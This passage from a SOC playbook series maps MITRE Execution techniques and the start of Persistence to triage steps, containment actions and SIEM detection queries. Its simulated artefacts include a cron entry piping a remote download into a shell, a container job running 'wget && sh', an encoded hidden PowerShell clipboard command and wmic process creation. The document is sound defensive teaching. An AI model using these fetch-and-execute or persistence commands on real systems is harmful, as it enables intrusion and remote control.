Scheduled Task / Job is hands-off execution once planted, the attacker lets the clock do the work.

When to trigger this playbook

Trigger this playbook when indicators suggest unauthorised or suspicious scheduled execution, including:

- New or modified scheduled jobs without change approval
- Tasks executing scripts or binaries from unusual locations
- Jobs running under elevated or service accounts
- Execution aligned with off-hours or reboot events
- Scheduled execution linked to suspicious downloads or C2 traffic

Example use case scenario (end-to-end)

Context: SOC observes a recurring outbound HTTPS connection every night at 02:15 from a Linux server. Investigation reveals a newly added **cron** job executing a shell script from `/tmp/.cache/`. The script fetches commands from an external server and executes them.

Attacker objective: Achieve reliable, unattended execution while minimizing interaction and visibility.

Defender objective: Stop the scheduled execution, remove malicious artefacts and prevent recurrence.

What it looks like (simulated SOC artefacts)

A) At Job Execution

Command=at 02:00 /tmp/run.sh
User=svc_backup

B) Cron Job

*/15 * * * * /usr/bin/curl hxxps://remote[.]site/p.sh | sh

C) Windows Scheduled Task

TaskName=UpdaterCheck
Action=C:\ProgramData\updater.exe
RunAs=SYSTEM

D) Systemd Timer

Timer=update-check.timer
OnCalendar=hourly
Service=update-check.service

E) Container Orchestration Job

Kind=CronJob
Image=alpine
Command=wget && sh

F) Timing Correlation

ExecutionTime=02:15
UserActivity=None

Severity decision (SOC)

High

- Suspicious scheduled execution with limited impact

Critical

- Scheduled jobs executing attacker-controlled code
- Execution under privileged or orchestration contexts
- Jobs enabling C2, lateral movement or impact

Example severity: Critical

(Unattended malicious execution via scheduler)

Step-by-step SOC workflow

Step 1 Validate scheduled execution

Confirm:

1. Is the scheduled job unauthorised or undocumented?
2. Does it execute scripts/binaries from non-standard paths?
3. Is it running off-hours or under elevated context?
4. Does execution correlate with network or endpoint alerts?

Decision point

- Approved automation → document
- Malicious scheduled execution → escalate immediately

Step 2 Identify sub-technique and scope

Sub-technique	Evidence	Attacker value
At	One-time timed execution	Precision
Cron	Repeated execution	Reliability
Scheduled Task	Windows automation	Privilege
Systemd Timers	Linux persistence-adjacent	Stealth
Container Jobs	Cluster-wide execution	Scale

Step 3 Map behaviour to attacker intent

3A) Reliable Payload Execution

Indicators

- Periodic execution without user action

Attacker intent

- Ensure consistent code run

3B) Off-Hours Stealth

Indicators

- Night or reboot-triggered runs

Attacker intent

- Reduce detection

3C) Scaled or Centralised Control

Indicators

- Orchestration jobs or shared tasks

Attacker intent

- Impact multiple assets

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Command and Control
 - Beacons aligned with job schedule
2. Persistence
 - Additional schedulers or services
3. Privilege Escalation
 - Tasks running as SYSTEM/root
4. Impact
 - Ransomware, data exfiltration

Decision point

- Follow-on activity detected → escalate to Major Incident IR

Containment actions

Immediate

1. Disable or remove the scheduled job
2. Isolate affected hosts or nodes
3. Block external destinations contacted by the job

If malicious execution confirmed

1. Preserve scheduler configs and logs
2. Remove associated scripts/binaries
3. Reset credentials used by the task
4. Notify SOC leadership, IT Ops and Platform Owners

Eradication and recovery

- Remove all malicious scheduled entries
- Rebuild compromised systems if necessary
- Harden scheduler permissions and change controls
- Validate orchestration RBAC and CI/CD integrity
- Monitor closely for re-creation of jobs

Detection engineering (SIEM ideas)

A) New or modified scheduled jobs

```
index=os  
| where event IN ("cron_add","task_create","systemd_timer_add","k8s_cronjob_create")
```

B) Scheduled execution from unusual paths

```
index=edr  
| where process_parent IN ("cron","at","taskeng.exe","systemd")  
| where process_path NOT IN standard_paths
```

C) Time-based execution correlation

```
index=netflow OR index=edr  
| stats count by _time, host  
| where _time IN off_hours
```

Analyst checklist

- Scheduled job identified and validated
- Sub-technique classified
- Malicious execution stopped
- Artefacts removed and credentials reset
- Incident escalated appropriately

Post-incident improvements

- Treat schedulers as high-risk execution paths
- Enforce approvals and logging for task creation
- Monitor for scheduler abuse across OS and containers
- Correlate scheduler → execution → network activity
- Include scheduled-execution scenarios in SOC drills

BY IZMER IZUDDIN

Playbook 42 (MITRE Execution): Serverless Execution

Technique: Serverless Execution

Purpose

Detect, investigate and respond to malicious or unauthorised execution in serverless environments, enabling attackers to:

- Execute code without servers or agents
- Abuse cloud permissions and IAM roles
- Access databases, storage and secrets
- Establish stealthy persistence via triggers
- Perform data exfiltration or crypto-mining
- Blend malicious execution into normal cloud operations

This technique commonly follows Cloud Account Compromise, Poisoned Pipeline Execution or Valid Accounts and precedes Persistence, Exfiltration and Impact.

When to trigger this playbook

Trigger this playbook when indicators suggest suspicious serverless activity, including:

- New functions created without change approval
- Function code modified unexpectedly
- Functions invoked from unusual IPs, services or regions
- High-frequency or abnormal execution patterns
- Serverless functions accessing secrets unexpectedly
- Outbound connections from serverless runtime to unknown destinations

Example use case scenario (end-to-end)

Context: SOC detects repeated outbound connections from an AWS Lambda function to an unknown external IP. Investigation shows the function code was recently modified to include a hidden data exfiltration routine triggered by API Gateway requests.

Attacker objective: Use serverless execution to run malicious logic invisibly, access cloud data and exfiltrate it without deploying infrastructure.

Defender objective: Identify malicious serverless execution, contain the function and prevent cloud-wide abuse.

What it looks like (simulated SOC artefacts)

A) Serverless Function Code Update

2026-04-17T01:11:02Z
platform=AWS_Lambda
function=invoice-processor
action=UpdateFunctionCode
initiated_by=devops-user@example.my

B) Unexpected Function Invocation

2026-04-17T01:11:08Z
function=invoice-processor
trigger=API_Gateway
src_ip=203.0.113.99

C) Secret Access Inside Function

2026-04-17T01:11:14Z
service=SecretsManager
secret=db-prod-password
access=GetSecretValue

D) External Network Connection

2026-04-17T01:11:19Z
runtime=nodejs18
destination=198.51.100.55:443
bytes_out=18244

E) Abnormal Invocation Frequency

2026-04-17T01:11:32Z
function=invoice-processor
invocations=420
baseline=15

Severity decision (SOC)

Low

- Function execution aligned with business logic
- Approved code changes and expected triggers

Medium

- Function modified without full review
- Unusual invocation pattern but no data access

High

- Malicious logic executed
- Secrets accessed or data exfiltrated
- External communication to attacker infrastructure

Example severity: High

(Serverless code modification → secret access → outbound exfiltration)

Step-by-step SOC workflow

Step 1 Validate serverless execution legitimacy

Confirm:

1. Who created or modified the function?
2. Is the change approved and documented?
3. What triggers are invoking the function?
4. Does the function's behaviour match its business purpose?

Decision point

- Legitimate serverless activity → document and monitor
- Unauthorised or suspicious → continue investigation immediately

Step 2 Identify serverless execution scope

Serverless element	Evidence	Attacker value
Function code	Modified logic	Execution
Triggers	API, events, schedules	Persistence
IAM role	Permissions used	Privilege
Secrets	Accessed values	Credential theft
Network	External calls	Exfiltration / C2

Step 3 Map behaviour to attacker intent

3A) Stealthy Code Execution

Indicators

- Code changes hidden in existing functions

- Execution triggered by legitimate events

Attacker intent

- Run malicious logic invisibly

3B) Cloud Resource Abuse

Indicators

- Unexpected access to storage, DBs, secrets

Attacker intent

- Steal data or expand access

3C) Persistence via Event Triggers

Indicators

- Scheduled triggers
- Event-based re-invocation

Attacker intent

- Maintain long-term execution

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Exfiltration
 - Storage reads, outbound traffic
2. Persistence
 - Additional functions, triggers, step functions
3. Privilege Escalation
 - IAM role modification
4. Impact
 - Data deletion, service disruption

Decision point

- Evidence found → escalate to Cloud Incident Response

Containment actions

If detected early

1. Disable affected serverless function
2. Block external network destinations
3. Revoke function IAM role permissions

If abuse confirmed

1. Disable all suspicious serverless functions
2. Rotate secrets accessed by the function
3. Lock down cloud account changes
4. Activate full cloud IR procedures

Eradication and recovery

- Remove malicious code and triggers
- Re-deploy clean functions from trusted source
- Audit all serverless IAM roles
- Review logs for full execution history
- Restore normal service operation

Detection engineering (SIEM ideas)

A) Serverless code modification monitoring

index=cloud
| where event IN ("UpdateFunctionCode","CreateFunction")

B) Abnormal serverless network egress

index=network
| where src_type="serverless"
| where dest_domain NOT IN trusted_domains

C) Secret access anomaly

index=cloud
| where service="SecretsManager"
| where caller_type="ServerlessFunction"

Analyst checklist

- Serverless execution validated
- Code and trigger changes reviewed

- IAM permissions assessed
- Secrets rotated
- Malicious execution removed

Post-incident improvements

- Enforce code signing and version control for serverless
- Require approval for function changes
- Apply least-privilege IAM roles for functions
- Restrict outbound network access for serverless runtimes
- Monitor serverless execution as Tier-0 signals

Playbook 43 (MITRE Execution): Shared Modules

Technique: Shared Modules

Purpose

Detect, investigate and respond to adversaries executing malicious code by abusing shared libraries or modules that are loaded by legitimate processes, enabling attackers to:

- Execute code without spawning obvious new processes
- Blend malicious logic into trusted binaries
- Trigger execution whenever a legitimate application runs
- Reduce visibility to traditional process-based detections
- Prepare for persistence or privilege escalation

Shared Modules is execution by piggybacking attackers don't run malware directly they let trusted software run it for them.

When to trigger this playbook

Trigger this playbook when indicators suggest unexpected or malicious shared library/module loading, including:

- New or modified DLLs, shared objects or libraries in trusted paths
- Legitimate applications loading modules from unusual directories
- Execution without a corresponding user-initiated process
- Library loads followed by network, credential or file activity
- Repeated execution tied to application startup or usage

Example use case scenario (end-to-end)

Context: SOC observes outbound network traffic every time a finance application launches. EDR telemetry shows the application loading an unexpected DLL from a writable directory. The DLL contains malicious code that executes on load.

Attacker objective: Achieve stealthy execution by embedding code into shared modules used by trusted software.

Defender objective: Identify malicious modules, remove them and prevent future abuse.

What it looks like (simulated SOC artefacts)

A) Suspicious Module Load (Windows)

Process=finance_app.exe
LoadedModule=C:\ProgramData\libupdate.dll
Signed=False

B) Suspicious Shared Object (Linux)

Process=sshd
Library=/tmp/.cache/libauth.so

C) No Direct Execution

ParentProcess=finance_app.exe
ChildProcess=None

D) Writable Directory Abuse

LibraryPath=UserWritable
Permissions=RWX

E) Repeated Execution Trigger

Trigger=ApplicationStart
Frequency=MultipleDaily

F) Follow-on Activity

NextAction=OutboundC2

Severity decision (SOC)

High

- Limited shared module abuse without privilege escalation

Critical

- Shared modules executing attacker code under trusted processes
- Abuse enabling stealth execution or lateral movement

Example severity: Critical

(Malicious execution hidden within trusted software)

Step-by-step SOC workflow

Step 1 Validate shared module execution

Confirm:

1. Is a new or modified module being loaded?
2. Is the module unsigned or unexpected?
3. Is it loaded from a non-standard or writable path?
4. Does loading correlate with suspicious behaviour?

Decision point

- Legitimate plugin/update → validate source
- Malicious shared module → escalate immediately

Step 2 Identify scope and technique

Indicator	Evidence	Attacker value
Shared library load	DLL/SO loaded	Stealth execution
Trusted process	Known binary	Defense evasion
Writable path	User-controlled dirs	Easy modification
Auto-load trigger	App start	Reliability
No child process	Silent execution	Low visibility

Step 3 Map behaviour to attacker intent

3A) Stealth Execution

Indicators

- Execution without process creation

Attacker intent

- Avoid endpoint detection

3B) Trust Abuse

Indicators

- Code runs under signed binaries

Attacker intent

- Blend into normal operations

3C) Preparation for Persistence

Indicators

- Module loaded repeatedly

Attacker intent

- Ensure recurring execution

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Persistence
 - Boot/logon autostart, hijack execution flow
2. Credential Access
 - Keylogging or memory access
3. Command and Control
 - Network beacons on load
4. Privilege Escalation
 - Module abuse under elevated apps

Decision point

- Follow-on detected → escalate to Major Incident IR

Containment actions

Immediate

1. Isolate affected systems
2. Block or unload malicious modules
3. Prevent further execution of affected applications

If shared module abuse confirmed

1. Preserve malicious libraries for analysis
2. Remove all unauthorised modules
3. Restrict write access to library paths
4. Notify SOC leadership and application owners

Eradication and recovery

- Remove malicious libraries across the environment
- Validate integrity of legitimate binaries

- Enforce code signing and library load restrictions
- Rebuild affected systems if required
- Monitor closely for reintroduction of rogue modules

Detection engineering (SIEM ideas)

A) Unsigned module load detection

```
index=edr
| where event="module_load"
| where signature_status!="Signed"
```

B) Module loaded from writable paths

```
index=edr
| where event="module_load"
| where module_path IN (user_writable_paths)
```

C) Module load followed by network activity

```
index=edr OR index=netflow
| transaction process maxspan=5m
```

Analyst checklist

- Shared module execution confirmed
- Malicious libraries identified
- Execution path blocked
- Integrity restored
- Incident escalated appropriately

Post-incident improvements

- Treat shared library loading as an execution vector
- Enforce application allowlisting and code signing
- Restrict writable directories in library search paths
- Monitor module load events, not just process creation
- Correlate module load → behaviour → impact

Playbook 44 (MITRE Execution): Software Deployment Tools

Technique: Software Deployment Tools

Purpose

Detect, investigate and respond to adversaries executing malicious code by abusing legitimate software deployment, configuration management or update tools, enabling attackers to:

- Execute payloads at scale across many systems
- Abuse trusted admin and IT workflows
- Run code with elevated or SYSTEM-level privileges
- Blend malicious execution into normal IT operations
- Achieve rapid lateral execution without exploits

Software Deployment Tools is execution via trust abuse attackers don't fight IT controls they become the IT controls.

When to trigger this playbook

Trigger this playbook when indicators suggest unauthorised or suspicious use of deployment or management tooling, including:

- Software pushed without change approval
- Deployment tools executing scripts or binaries from unusual sources
- Payloads delivered to many hosts simultaneously
- Execution occurring under deployment service accounts
- Tool usage outside normal maintenance windows

Example use case scenario (end-to-end)

Context: SOC observes a new executable deployed to hundreds of endpoints within minutes. The deployment originates from a compromised configuration management server. The binary establishes outbound C2 connections immediately after execution.

Attacker objective: Leverage centralised deployment tooling to execute malware at enterprise scale.

Defender objective: Stop the deployment, contain compromised tooling and prevent mass execution.

What it looks like (simulated SOC artefacts)

A) Mass Software Deployment

Tool=SCCM

Package=update_patch_v2

Targets=320 Hosts

B) Unusual Payload Source

PayloadSource=\\fileshare\\temp\\agent.exe

Signature=Unsigned

C) Elevated Execution Context

RunAs=SYSTEM

ServiceAccount=sccm_svc

D) No User Interaction

UserInitiated=False

E) Off-Hours Execution

ExecutionWindow=03:00–03:10

ChangeTicket=None

F) Follow-on Activity

NextAction=OutboundC2

Severity decision (SOC)

High

- Limited misuse of deployment tools affecting few systems

Critical

- Enterprise-wide execution
- Deployment tools fully compromised
- Malware running as SYSTEM or admin across hosts

Example severity: Critical

(Mass malicious execution via trusted IT tooling)

Step-by-step SOC workflow

Step 1 Validate deployment-based execution

Confirm:

1. Is the deployment unauthorised or undocumented?
2. Is the payload unexpected, unsigned or suspicious?
3. Is execution happening at scale?
4. Does execution correlate with malicious behaviour?

Decision point

- Approved IT rollout → validate change records
- Malicious deployment → escalate immediately

Step 2 Identify tool and scope

Tool Type	Evidence	Attacker value
Config management	SCCM, Ansible, Puppet	Scale
Update systems	WSUS, custom updaters	Trust
Script deployment	PowerShell, Bash	Flexibility
Service accounts	SYSTEM/root	Privilege
Central control	Single push	Speed

Step 3 Map behaviour to attacker intent

3A) Mass Execution

Indicators

- Hundreds of hosts affected

Attacker intent

- Rapid environment takeover

3B) Privilege Abuse

Indicators

- SYSTEM or root context

Attacker intent

- Full control without escalation

3C) Detection Suppression

Indicators

- Execution during maintenance windows

Attacker intent

- Blend into normal operations

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Persistence
 - Services, scheduled tasks
2. Command and Control
 - Beacons from many hosts
3. Credential Access
 - LSASS or token theft
4. Impact
 - Ransomware, data destruction

Decision point

- Follow-on detected → escalate to Enterprise IR / Crisis Response

Containment actions

Immediate

1. Disable compromised deployment tools
2. Stop active deployments and jobs
3. Isolate affected endpoints

If malicious execution confirmed

1. Revoke and rotate deployment service account credentials
2. Remove malicious packages and scripts
3. Preserve deployment logs and artefacts
4. Notify SOC leadership, IT Ops and Executive Management

Eradication and recovery

- Rebuild compromised deployment infrastructure
- Reimage affected endpoints if required
- Restore clean deployment baselines
- Implement strict RBAC and approvals
- Monitor closely for redeployment attempts

Detection engineering (SIEM ideas)

A) Mass execution via deployment tools

```
index=edr
| stats dc(host) by process_name
| where dc(host) > threshold
```

B) Unsigned payloads deployed centrally

```
index=edr
| where parent_process IN ("sccm.exe","ansible","puppet")
| where signature_status!="Signed"
```

C) Off-hours deployments

```
index=deployment
| where change_ticket="None"
| where _time IN off_hours
```

Analyst checklist

- Deployment tool abuse confirmed
- Scope of affected systems identified
- Malicious execution stopped
- Deployment infrastructure secured
- Incident escalated appropriately

Post-incident improvements

- Treat software deployment systems as Tier-0 assets
- Enforce multi-person approval for deployments
- Monitor deployment tools as execution engines
- Log and alert on mass execution events
- Correlate deployment → execution → network behaviour

Playbook 45 (MITRE Execution): System Services

Technique: System Services

Sub-techniques:

- Launchctl
- Service Execution
- Systemctl

Purpose

Detect, investigate and respond to adversaries executing malicious code by abusing operating system service managers, enabling attackers to:

- Execute code without direct user interaction
- Run payloads with elevated or system-level privileges
- Blend execution into legitimate service operations
- Trigger execution at boot or service start
- Prepare groundwork for persistence and long-term control

System Services is execution through the operating system's backbone attackers hijack how the OS normally runs software.

When to trigger this playbook

Trigger this playbook when indicators suggest unauthorised or suspicious service-based execution, including:

- New or modified services without change approval
- Services executing binaries or scripts from unusual paths
- Services running under SYSTEM/root unexpectedly
- Services starting immediately after compromise indicators
- Execution tied to service start, restart or boot events

Example use case scenario (end-to-end)

Context: SOC detects a Linux server initiating outbound connections immediately after a system reboot. Investigation shows a new systemd service configured to run a shell script from /var/tmp/.svc/. The service was created shortly after a suspicious SSH login.

Attacker objective: Achieve reliable, privileged execution by embedding malicious code into system service workflows.

Defender objective: Stop the service execution, remove malicious services and prevent reinstallation.

What it looks like (simulated SOC artefacts)

A) Launchctl Abuse (macOS)

Label=com.apple.update.check
ProgramArguments=/Users/shared/.cache/update.sh
RunAtLoad=true

B) Windows Service Execution

ServiceName=WinUpdateSvc
BinaryPath=C:\ProgramData\update.exe
StartType=Auto
RunAs=LocalSystem

C) Systemctl Abuse (Linux)

Service=network-check.service
ExecStart=/tmp/.net/check.sh
WantedBy=multi-user.target

D) Immediate Execution

Trigger=ServiceStart
UserInteraction=None

E) Privileged Context

ExecutionContext=SYSTEM/root

F) Follow-on Activity

NextAction=InternalDiscovery

Severity decision (SOC)

High

- Suspicious service execution with limited scope

Critical

- Malicious services running as SYSTEM/root
- Services enabling C2, persistence or lateral movement

Example severity: Critical

(Privileged execution via OS service abuse)

Step-by-step SOC workflow

Step 1 Validate service-based execution

Confirm:

1. Is the service unauthorised or newly created?
2. Does it execute unexpected binaries or scripts?
3. Is the execution context elevated?
4. Does execution correlate with network or endpoint alerts?

Decision point

- Legitimate system service → validate ownership
- Malicious service execution → escalate immediately

Step 2 Identify sub-technique and scope

Sub-technique	Evidence	Attacker value
Launchctl	plist auto-run	macOS stealth
Service Execution	Windows services	SYSTEM access
Systemctl	Linux services	Boot-time execution
Auto-start	Enabled on boot	Reliability
Trusted mechanism	OS-native	Evasion

Step 3 Map behaviour to attacker intent

3A) Privileged Code Execution

Indicators

- Services running as SYSTEM/root

Attacker intent

- Full host control

3B) Stealth and Blending

Indicators

- Legitimate-sounding service names

Attacker intent

- Avoid detection

3C) Preparation for Persistence

Indicators

- Auto-start on boot

Attacker intent

- Long-term access

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Persistence
 - Boot or logon autostart, account manipulation
2. Credential Access
 - LSASS or keychain access
3. Command and Control
 - Beacons tied to service start
4. Impact
 - Ransomware or sabotage

Decision point

- Follow-on detected → escalate to Major Incident IR

Containment actions

Immediate

1. Stop and disable malicious services
2. Isolate affected systems
3. Block outbound connections linked to the service

If service abuse confirmed

1. Preserve service configurations and binaries
2. Remove malicious services and artefacts
3. Reset credentials used during installation
4. Notify SOC leadership and platform owners

Eradication and recovery

- Remove all unauthorised services
- Restore trusted service baselines
- Harden service creation permissions
- Rebuild hosts if integrity is uncertain
- Monitor closely for service recreation

Detection engineering (SIEM ideas)

A) New service creation

index=os
| where event IN ("service_create","launchctl_load","systemd_service_add")

B) Service executing from unusual paths

index=edr
| where parent_process IN ("services.exe","systemd","launchd")
| where process_path NOT IN standard_service_paths

C) Service start followed by network activity

index=edr OR index=netflow
| transaction host maxspan=5m

Analyst checklist

- Service-based execution confirmed
- Sub-technique identified
- Malicious services disabled and removed
- Artefacts preserved
- Incident escalated appropriately

Post-incident improvements

- Treat system services as high-risk execution vectors
- Enforce strict controls on service creation
- Monitor service lifecycle events continuously

- Baseline legitimate services across platforms
- Correlate service creation → execution → behaviour

BY IZMER IZUDDIN

Playbook 46 (MITRE Execution): User Execution

Technique: User Execution

Sub-techniques:

- Malicious Link
- Malicious File
- Malicious Image
- Malicious Copy and Paste
- Malicious Library

Purpose

Detect, investigate and respond to execution that occurs because a user performs an action, enabling attackers to:

- Trigger malware or scripts via trusted user behaviour
- Bypass technical controls using social engineering
- Chain execution into persistence and credential access
- Leverage user context to gain initial footholds
- Blend malicious activity into legitimate workflows

User Execution remains one of the most successful real-world execution techniques, even in mature security environments.

When to trigger this playbook

Trigger this playbook when indicators suggest execution driven by user interaction, including:

- Users clicking links followed by script or binary execution
- Files opened from email, chat or cloud storage
- Image files leading to unexpected process creation
- Commands executed after users copy/paste content
- Libraries loaded after users extract or move files
- Execution aligned with user activity timelines

Example use case scenario (end-to-end)

Context: SOC detects PowerShell execution shortly after a user clicks a link in a phishing email. The link downloads a malicious ISO file, which contains a DLL sideloaded by a legitimate executable.

Attacker objective: Trick the user into performing a benign-looking action that leads to code execution.

Defender objective: Correlate user activity with execution, contain the infection and prevent repeat exposure.

What it looks like (simulated SOC artefacts)

A) Malicious Link Click

2026-04-25T01:11:02Z
user=employee12
action=click
url=https://secure-docs[.]net/view
source=email

B) Malicious File Opened

2026-04-25T01:11:14Z
file=Invoice_0425.iso
action=mounted
user=employee12

C) Malicious Image Abuse

2026-04-25T01:11:21Z
file=promo.jpg
application=image_viewer.exe
child_process=powershell.exe

D) Malicious Copy and Paste

2026-04-25T01:11:29Z
clipboard_content=powershell -nop -w hidden -enc SQBFaFgA...
executed_by=user

E) Malicious Library Execution

2026-04-25T01:11:38Z
process=setup.exe
loaded_library=version.dll
path=C:\Users\Public\Temp\
signature=unsigned

Severity decision (SOC)

Low

- User interaction detected but execution blocked
- No payload execution

Medium

- Execution occurred but payload blocked or contained
- No persistence or C2

High

- Successful execution with follow-on activity
- Credential access, persistence or C2 observed

Example severity: High

(User click → file execution → DLL sideloading → beaconing)

Step-by-step SOC workflow

Step 1 Validate user-driven execution

Confirm:

1. What user action triggered execution (click, open, paste)?
2. Was the action expected or suspicious?
3. Did execution immediately follow the user action?
4. Was the user socially engineered?

Decision point

- Benign user action → monitor
- Suspicious or manipulated → continue investigation immediately

Step 2 Identify user execution vector

Vector	Evidence	Attacker value
Malicious Link	URL click	Initial payload delivery
Malicious File	Attachment / download	Direct execution
Malicious Image	Image parsing	Stealth execution
Copy & Paste	Clipboard commands	Bypass AV
Malicious Library	DLL sideloading	Stealth persistence

Step 3 Map behaviour to attacker intent

3A) Social Engineering-Driven Execution

Indicators

- Phishing, lure content
- Trusted branding

Attacker intent

- Bypass technical controls

3B) Living-off-the-User

Indicators

- User-initiated execution
- No exploit required

Attacker intent

- Reduce detection surface

3C) Stealth Payload Loading

Indicators

- DLL sideloading
- Image-based execution

Attacker intent

- Evade signature detection

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Persistence
 - Scheduled tasks, services, autoruns
2. Credential Access
 - Browser creds, token theft
3. Lateral Movement
 - SMB, RDP, cloud logins

4. C2
 - Beaconing or DNS tunnelling

Decision point

- Evidence found → escalate to Incident Response

Containment actions

If detected early

1. Terminate malicious processes
2. Block malicious URLs and hashes
3. Isolate affected endpoint if needed

If execution successful

1. Isolate endpoint immediately
2. Reset user credentials
3. Block related IOCs organisation-wide
4. Preserve artefacts for forensics

Eradication and recovery

- Remove malicious files and libraries
- Remove persistence mechanisms
- Reimage endpoint if integrity uncertain
- Restore user access securely
- Conduct user awareness follow-up

Detection engineering (SIEM ideas)

A) Execution shortly after user click

```
index=proxy OR index=edr  
| transaction user maxspan=2m  
| where action="click" AND child_process IS NOT NULL
```

B) User process spawning interpreter

```
index=edr  
| where parent_process IN ("explorer.exe","image_viewer.exe","browser.exe")  
| where child_process IN ("powershell.exe","cmd.exe","bash")
```

C) DLL sideloading by user-launched app

index=edr

| where process_started_by_user=true

| where module_signed=false AND process_signed=true

Analyst checklist

- User action correlated to execution
- Execution vector identified
- Endpoint contained
- Persistence removed
- User notified and reset

Post-incident improvements

- Harden email, web and download controls
- Restrict script and DLL execution from user-writable paths
- Enable attack surface reduction (ASR) rules
- Monitor clipboard-to-execution patterns
- Reinforce user awareness with real attack examples

Playbook 47 (MITRE Execution): Windows Management Instrumentation

Technique: Windows Management Instrumentation

Purpose

Detect, investigate and respond to adversaries executing code through Windows Management Instrumentation (WMI), enabling attackers to:

- Execute commands remotely or locally without dropping binaries
- Leverage a trusted Windows administration framework
- Run code under SYSTEM or privileged contexts
- Blend malicious execution into legitimate IT operations
- Enable execution that can later transition into persistence

WMI is execution via administrative plumbing attackers don't run tools loudly they ask Windows to run them.

When to trigger this playbook

Trigger this playbook when indicators suggest abuse of WMI for command or process execution, including:

- wmic, powershell or cscript usage invoking WMI classes
- Remote execution without interactive logon (no RDP, no console)
- Process creation with parent processes like WmiPrvSE.exe
- Execution aligned with lateral movement or service abuse
- WMI usage outside approved admin tooling or maintenance windows

Example use case scenario (end-to-end)

Context: SOC detects cmd.exe execution on a server with parent process WmiPrvSE.exe. No user logon or scheduled task is present. Network logs show the command originated from another compromised workstation.

Attacker objective: Use WMI remote execution to run commands silently across systems.

Defender objective: Stop WMI abuse, identify the source and prevent further remote execution.

What it looks like (simulated SOC artefacts)

A) Local WMI Execution

ParentProcess=WmiPrvSE.exe
ChildProcess=cmd.exe
CommandLine=cmd.exe /c whoami

B) Remote WMI Invocation

SourceHost=WS-023
TargetHost=SRV-FILE01
Method=Win32_Process.Create

C) No Interactive Logon

LogonType=None
RDP=False

D) Elevated Context

ExecutionContext=SYSTEM

E) Scripted WMI Use

Command=wmic process call create "powershell.exe -enc ..."

F) Follow-on Activity

NextAction=CredentialAccess

Severity decision (SOC)

High

- Suspicious WMI execution limited to a single host

Critical

- WMI used for lateral execution or privilege abuse
- Remote execution across multiple systems

Example severity: Critical

(Stealthy remote execution via trusted Windows management)

Step-by-step SOC workflow

Step 1 Validate WMI-based execution

Confirm:

1. Is WMI being used to create or execute processes?
2. Is the execution unauthorised or undocumented?
3. Is it remote or running under SYSTEM context?
4. Does it correlate with lateral movement or intrusion activity?

Decision point

- Legitimate admin action → validate source and approval
- Malicious WMI execution → escalate immediately

Step 2 Identify scope and technique

Indicator	Evidence	Attacker value
WmiPrvSE parent	Process lineage	Stealth
Win32_Process.Create	Execution method	Remote control
No logon session	No RDP/console	Low visibility
Encoded commands	PowerShell/Base64	Obfuscation
Cross-host usage	Source ≠ target	Lateral movement

Step 3 Map behaviour to attacker intent

3A) Stealthy Execution

Indicators

- No interactive logon

Attacker intent

- Avoid user-facing alerts

3B) Lateral Execution

Indicators

- Remote WMI calls

Attacker intent

- Expand access across network

3C) Privileged Control

Indicators

- SYSTEM context execution

Attacker intent

- Full host manipulation

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Lateral Movement
 - Remote Services, SMB, RDP
2. Credential Access
 - LSASS access, token theft
3. Persistence
 - WMI event subscriptions
4. Command and Control
 - Beacons following execution

Decision point

- Follow-on detected → escalate to Major Incident IR

Containment actions

Immediate

1. Isolate affected hosts
2. Block WMI traffic between hosts if possible
3. Terminate malicious processes spawned by WMI

If WMI abuse confirmed

1. Preserve WMI logs and process telemetry
2. Identify and isolate the originating host
3. Reset credentials used for remote execution
4. Notify SOC leadership and Windows platform owners

Eradication and recovery

- Remove attacker tools and scripts
- Disable unnecessary WMI remote access

- Restrict WMI permissions to admin-only groups
- Apply host hardening and logging enhancements
- Monitor closely for renewed WMI activity

Detection engineering (SIEM ideas)

A) Process creation via WMI

```
index=edr
| where parent_process="WmiPrvSE.exe"
| where process_name IN ("cmd.exe","powershell.exe","cscript.exe","mshta.exe")
```

B) Remote WMI execution

```
index=windows
| where event_id=4688
| where parent_process="WmiPrvSE.exe"
```

C) Encoded or suspicious commands

```
index=edr
| where command_line LIKE "%-enc%"
```

Analyst checklist

- WMI execution confirmed
- Source and target hosts identified
- Malicious commands terminated
- Credentials and access reviewed
- Incident escalated appropriately

Post-incident improvements

- Treat WMI as a high-risk execution and lateral movement vector
- Log and alert on WMI process creation events
- Restrict remote WMI usage by network segmentation
- Correlate WMI execution → lateral movement → impact
- Include WMI abuse scenarios in SOC training

PERSISTENCE

Persistence is the stage where attackers ensure they can maintain access to the environment even if their initial entry point is discovered or removed. After execution, adversaries establish mechanisms such as scheduled tasks, services, startup items, registry changes, backdoors or account manipulation to survive reboots, credential resets and routine clean-up. Persistence turns a one-time breach into a long-term threat, allowing attackers to return, continue operations and escalate impact over time. For SOC teams, detecting persistence is vital because it indicates the attacker intends to stay removing these mechanisms thoroughly is essential to fully eradicate the intrusion and prevent re-compromise.

Playbook 48 (MITRE Persistence): Account Manipulation

Technique: Account Manipulation

Sub-techniques:

- Additional Cloud Credentials
- Additional Email Delegate Permissions
- Additional Cloud Roles
- SSH Authorized Keys
- Device Registration
- Additional Container Cluster Roles
- Additional Local or Domain Groups

Purpose

Detect, investigate and respond to persistence achieved by modifying identities, roles, credentials or access relationships, enabling attackers to:

- Maintain access without malware
- Re-enter environments after password resets
- Blend into legitimate user and admin activity
- Survive endpoint reimaging and security cleanup
- Persist across cloud, identity, email, servers and containers

Account manipulation is one of the stealthiest and longest-lasting persistence techniques, frequently used in cloud and identity-centric attacks.

When to trigger this playbook

Trigger this playbook when indicators suggest unauthorised identity or access changes, including:

- New credentials or keys added without approval
- Unexpected role or group membership changes
- Delegated access granted silently
- Devices registered without user awareness
- Container RBAC expanded unexpectedly
- Persistence that survives password resets

Example use case scenario (end-to-end)

Context: SOC detects suspicious cloud login activity even after a user's password is reset. Investigation reveals the attacker added additional cloud credentials, granted email delegate access and placed a service account into an admin group.

Attacker objective: Maintain long-term, low-visibility access by manipulating identity and access controls.

Defender objective: Identify all persistence paths, remove hidden access and restore identity integrity.

What it looks like (simulated SOC artefacts)

A) Additional Cloud Credentials

2026-04-29T01:11:02Z
service=IAM
action=CreateAccessKey
user=cloud-user01
initiated_by=cloud-user01

B) Additional Email Delegate Permissions

2026-04-29T01:11:08Z
mailbox=finance@example.my
delegate=svc-mail-sync@example.my
permission=FullAccess

C) Additional Cloud Roles

